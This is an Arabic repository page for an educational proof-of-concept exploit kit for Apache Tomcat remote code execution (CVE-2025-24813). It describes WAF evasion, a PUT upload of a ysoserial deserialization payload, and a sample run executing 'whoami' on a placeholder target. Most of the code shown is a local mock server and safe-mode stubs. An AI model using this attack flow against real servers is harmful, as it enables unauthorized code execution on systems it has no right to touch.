POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution — يحتوي هذا المستودع على استغلال (Exploit) آلي تم تطويره لأغراض تعليمية وبحثية في مجال الأمن السيبراني، ويهدف إلى إظهار ثغرة محتملة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Tomcat (CVE-2025-24813). | Kitploit

⚠️🚀 CVE-2025-24813 — حزمة استغلال Apache Tomcat RCE

⚡ الإصدار: 1.0 🛡️ معرّف CVE: CVE-2025-24813 (Apache Tomcat RCE) 🧬 الحمولات: ysoserial / Java 🌐 الوضع: تفاعلي + وضع التخفي 🔬 الاستخدام: أخلاقي، بحثي، تعليمي

🌌 نظرة عامة

🔗 [?] Ingresa la URL del objetivo: https://victima.org
💣 [?] Comando a ejecutar: whoami
🧬 [?] Tipo de payload: ysoserial
📂 [?] Ruta a ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] ¿Verificar SSL? (sí/no): no

🚀 Ejecutando...
🧬 WAF detectado... cambiando estrategia
⚙️ Subida del payload en curso...
💥 Confirmación de ejecución remota
✅ Resultado: 'apache'

┌──────────────────────────────┐
│  Modo Interactivo            │
├──────────────────────────────┤
│  Validación de URL           │
│  Detección de sesión         │
│  Detección de WAF            │
│  Generación de payload       │
│  Subida evasiva via PUT      │
│  Verificación de ejecución   │
└──────────────────────────────┘
        ↘ LOGS POR OBJETIVO

POC-Exploit_CVE_2025_24813.py   # Script principal
ysoserial.jar               # Requerido si usas 'ysoserial'
logs/                       # Carpeta de logs individuales por objetivo
payload.ser                 # Payload generado temporalmente
Exploit.java / .class       # Archivos temporales para Java

Java JDK (وليس JRE فقط، لأن الكود يُجمَّع). تحقق باستخدام:
```
java -version
javac -version
```
إذا كان كلا الأمرين يعملان، فأنت جاهز.

حمّل ملف .jar من هنا 👉 https://github.com/frohoff/ysoserial
احفظه في نفس دليل السكربت أو حدد المسار الكامل عندما يُطلب منك ذلك. مثال:
```
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
```

تثبيت Python 3.8+
تثبيت المكتبات:
```
pip install requests colorama etc
```
تثبيت Java JDK 8+
```
java -version
javac -version
```
تنزيل ysoserial.jar في مجلد السكربت.

python3 -m venv .venv
source .venv/bin/activate   # Linux / macOS
.\.venv\Scripts\activate  # Windows (PowerShell/Command Prompt)

pip install -U pip
pip install requests colorama flask

# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify

app = Flask(__name__)
uploads = {}

@app.route('/index.jsp', methods=['GET'])
def index():
    # Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
    resp = make_response('Index page — Session ID: testsession')
    resp.set_cookie('JSESSIONID', 'testsession')
    return resp

@app.route('/check.txt', methods=['PUT'])
def check_put():
    # Simula un recurso escribible
    return ('OK', 200)

@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
    # Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
    uploads[session_id] = True
    return ('Conflict - uploaded', 409)

@app.route('/', methods=['GET'])
def root():
    # Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
    session = request.cookies.get('JSESSIONID')
    if session and uploads.get(session):
        return ('Internal Server Error', 500)
    return ('Hello from mock server', 200)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000, debug=True)

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---


def generate_java_payload(command, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_JAVA_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---

شغّل بيئتك الافتراضية وتأكد من تثبيت التبعيات (راجع قسم المتطلبات).
شغّل mock_server.py:
```
python mock_server.py
```
أنشئ الحمولة التجريبية إذا لم تستخدم SAFE_TEST أو إذا لم يقم هو بإنشاء الحمولة نيابة عنك:
```
echo "DUMMY_PAYLOAD" > payload.ser
```

فعّل الوضع الآمن في الطرفية:

export SAFE_TEST=1   # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"

شغّل السكربت الرئيسي:
```
python3 tu_script.py
```
أجب على الأسئلة التفاعلية (ستستخدم قيماً مخبرية):
- أدخل رابط الهدف (URL): http://127.0.0.1:8000
- أدخل الأمر المطلوب تنفيذه: اتركه افتراضياً (لن يتم تنفيذه في وضع SAFE_TEST)
- نوع الحمولة: ysoserial (مع SAFE_TEST=1، سينشئ السكربت حمولة تجريبية بدلاً من استدعاء أدوات خارجية)
- المسار إلى ysoserial.jar: (يمكنك ترك ysoserial.jar — لن يُستخدم في الوضع الآمن)
- التحقق من SSL؟ no (لأن خادم الاختبار يستخدم HTTP)
لاحظ المخرجات في وحدة التحكم: ينبغي أن ترى رسائل Server is writable via PUT وPayload uploaded with status 409 وExploit succeeded! Server returned 500 after deserialization. — هذا يحدث فقط في خادم الاختبار ويعني أن التدفق المنطقي للسكربت يعمل.
راجع السجلات في logs/ — يحفظ السكربت إدخالات بطوابع زمنية. على سبيل المثال logs/127_0_0_1_8000.log (تبعاً لاسم الهدف المنقّى).

# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request

def test_validate_url():
    assert validate_url('http://127.0.0.1:8000')
    assert not validate_url('notaurl')

def test_retry_request_success():
    # usa requests_mock para simular un GET y comprobar retry_request
    pass

POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution

الأكثر شعبية

🧠 ماذا يفعل هذا السكربت؟

🛸 الوظائف الرئيسية

⚙️ المتطلبات

🧪 طريقة الاستخدام

🎯 مثال مرئي:

🌈 البنية المرئية للسكربت

🧬 أنواع الحمولات

الأدوات (Gadgets) الشائعة:

📁 هيكل المشروع

👨‍⚖️ الاستخدام المسؤول والأخلاقي

⚖️ إخلاء المسؤولية

🧠 الاعتمادات

🛰️ CVE المُشار إليه

📜 الترخيص

💎 الإلهام البصري

🔧 التبعيات الضرورية

1. Python

2. Java

3. Ysoserial

4. نظام التشغيل

⚙️ ملخص التثبيت

🛡️ README — دليل تعليمي آمن خطوة بخطوة

⚠️ تنبيه قانوني وأخلاقي (اقرأ قبل البدء)

🔍 ماذا يحتوي هذا الدليل

🧾 المتطلبات

🧪 1) خادم الاختبار (Mock) — كود آمن

📁 2) تجهيز حمولة تجريبية (غير ضارة)

⚙️ 3) إضافة وضع آمن (SAFE_TEST) إلى السكربت الأصلي

▶️ 4) التنفيذ خطوة بخطوة (الوضع الآمن)

🔎 5) ما الذي يجب التحقق منه في الاختبارات

🧪 6) اختبارات الوحدات (توصية)

❌ ما الذي لا يجب فعله